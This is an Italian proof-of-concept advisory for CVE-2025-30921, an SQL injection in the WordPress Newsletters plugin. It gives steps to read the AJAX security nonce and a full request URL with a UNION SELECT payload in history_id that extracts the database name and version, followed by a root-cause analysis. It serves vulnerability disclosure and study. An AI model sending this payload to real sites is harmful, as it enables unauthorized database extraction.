
PoC di CVE-2025-30921
Plugin WordPress
Nome del componente Newsletters
Versione vulnerabile <= 4.9.9.7
Slug del componente newsletters-lite
Link del componente https://wordpress.org/plugins/newsletters-lite/
Classe di vulnerabilità A3: Injection
Tipo di vulnerabilità SQL Injection
Amministratore
Quando si visualizza il grafico di panoramica delle statistiche nella dashboard del plugin (/wp-admin/admin.php?page=newsletters) del plugin Newsletters versione 4.9.9.7 o inferiore, si verifica una vulnerabilità di SQL Injection dovuta a una convalida insufficiente dell'input e a una gestione di escaping inadeguata dei parametri URL.
Tramite questa vulnerabilità, un attaccante con privilegi di amministratore può sfruttarla per estrarre informazioni dal database del sito target.
Preparare un sito WordPress con il plugin Newsletters versione 4.9.9.7 o inferiore installato.
Navigare fino al menu della dashboard del plugin Newsletters (/wp-admin/admin.php?page=newsletters).

Utilizzando gli strumenti di sviluppo del browser, cercare action=wpmlwelcomestats&security= nella scheda 'Elements' e controllare il valore di security. Ad esempio, se il risultato della ricerca appare come mostrato di seguito, annotare 22b1ac0de6.
// ...
jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
// ...

Inserire il valore di security annotato nella sezione <SECURITY VALUE> del percorso URL qui sotto e inviare una richiesta a quell'URL
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
Tra i parametri URL,
history_idcontiene il payload dell'SQL Injection, che consente di interrogare il nome del database (DATABASE()) e la versione (@@VERSION). Ad esempio, quando il valore disecurityè22b1ac0de6, accedere al seguente URL.
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=22b1ac0de6&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
Quando si controlla la risposta alla richiesta URL, si può confermare che le informazioni sul nome del database e sulla versione sono esposte a causa della vulnerabilità di SQL Injection attraverso il parametro history_id.

Quando si richiede l'URL in cui si verifica la vulnerabilità di SQL Injection nel PoC precedente, viene chiamata la funzione ajax_welcomestats all'interno del file /wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php.
A questo punto, il parametro di richiesta history_id viene direttamente referenziato come clausola di condizione nella stringa della query SQL e inizializzato come variabile $history_condition. Questa variabile viene poi passata alla query del database senza alcun trattamento di escaping.

Pertanto, poiché non esiste alcuna convalida o trattamento di escaping per i valori inseriti nel parametro URL history_id, si verifica una vulnerabilità di SQL Injection. (Si noti che anche i parametri URL from e to sono vulnerabili ad attacchi di SQL Injection a causa di una convalida dell'input e di un trattamento di escaping insufficienti.)